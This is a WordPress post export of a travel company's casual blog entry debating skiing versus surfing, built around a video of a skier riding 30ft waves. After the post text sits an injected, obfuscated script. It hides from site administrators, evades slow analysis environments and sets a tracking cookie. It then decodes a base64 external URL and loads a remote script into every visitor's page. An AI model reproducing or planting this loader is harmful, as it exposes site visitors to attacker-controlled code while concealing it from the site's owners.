{"id":983,"date":"2013-11-25T12:48:15","date_gmt":"2013-11-25T12:48:15","guid":{"rendered":""},"modified":"2025-10-17T19:06:30","modified_gmt":"2025-10-17T19:06:30","slug":"skiing-in-mountains-and-on-30ft-waves","status":"publish","type":"post","link":"https:\/\/tickettoridegroup.com\/blog\/skiing-in-mountains-and-on-30ft-waves\/","title":{"rendered":"Skiing in Mountains and on 30ft Waves"},"content":{"rendered":"<div class=\"body\">\n<div>This video had us all &nbsp;watching and reopened the classic debate here at the Ticket to Ride Group.<\/p>\n<p>Where would you rather be in winter, in the sunshine on a <a href=\"http:\/\/blog.tickettoridegroup.com\/?p=104\">surf instructor course in South Africa<\/a>, or up a mountain on a <a href=\"http:\/\/www.basecampgroup.com\/resorts\/meribel-france\/resort\">BASI ski instructor in Meribel<\/a>.&nbsp;<\/p>\n<p>What do you think of this video! New sport in &nbsp;development or complete gimmick?<\/p>\n<p><iframe loading=\"lazy\" allowfullscreen=\"\" frameborder=\"0\" height=\"480\" scrolling=\"no\" src=\"\/\/www.youtube.com\/embed\/Ahk48h7P4ts\" width=\"550\"><\/iframe><\/p>\n<p>Here at Ticket to Ride, we share our office with <a href=\"http:\/\/www.basecampgroup.com\">Basecamp Ski and Snowboard<\/a>, specialist providers of <a href=\"http:\/\/www.basecampgroup.com\/ski-instructor-courses\">ski Instructor courses<\/a> in France and Canada. Basecamp also run <a href=\"http:\/\/www.basecampgroup.com\/snowboard-instructor-courses\">snowboard instructor courses<\/a> in France and Canada. There is also the opportunity to book <a href=\"http:\/\/www.basecampgroup.com\/accommodation\">seasonal accommodation<\/a> with them too.<\/p>\n<p>However forget all that, &quot;surfing is the best way to get out there, explore the world and have the time of your life.&quot; Unanimous quote from <a href=\"http:\/\/blog.tickettoridegroup.com\/?p=84\">Ticket Ride team<\/a><\/p>\n<p>Comments like this, often leads to the common debate of whether people should spend 3 the winter season surfing amazing waves or skiing big white mountains.<\/p>\n<p>One of the ticket to ride team was quick to point out that once again, mechanically engineered power is once again requored to get the skiier into positon. They asdked to remain nameless as they are currently trying to blag a free skiing holiday off the Element Ski travel team<\/p>\n<p>In reality nearly all of us enjoy our time doing both. Summers surfing, and winters skiing. &nbsp;That said, it doesn&#39;t take much to spartk the debate.<\/p>\n<p>And lets face it one thing we all agree on in here is that &#8211; Waterskiing is pretty pants anyway!<\/p>\n<p>\nWhat do you think?<\/p>\n<\/div>\n<\/div>\n<div class=\"field_blog_blurb\">\n<div>Blurb<\/div>\n<div>Surfing on 30ft waves is often compared to out running an avalanche on ski&#8217;s. In reality, the similarities are not that significant. Both are very gnarly and potentially life ending. Check out this video of a free skier, skiing 30ft Jaws <\/div>\n<\/div>\n<div class=\"field_meta_title\">\n<div>Title<\/div>\n<div>Skiing on 30ft Waves <\/div>\n<\/div>\n<div class=\"field_meta_description\">\n<div>Description<\/div>\n<div>Watch this video and tell us what you think. Complete gimmick or another step forward in big wave riding? Surely this is just a quite clever way to ride a massive wave that does&#8217;t include standing on a surf board. This got us thinking. What else could you use to surf a 30ft wave?<\/div>\n<\/div>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This video had us all &nbsp;watching and reopened the classic debate here at the Ticket to Ride Group. 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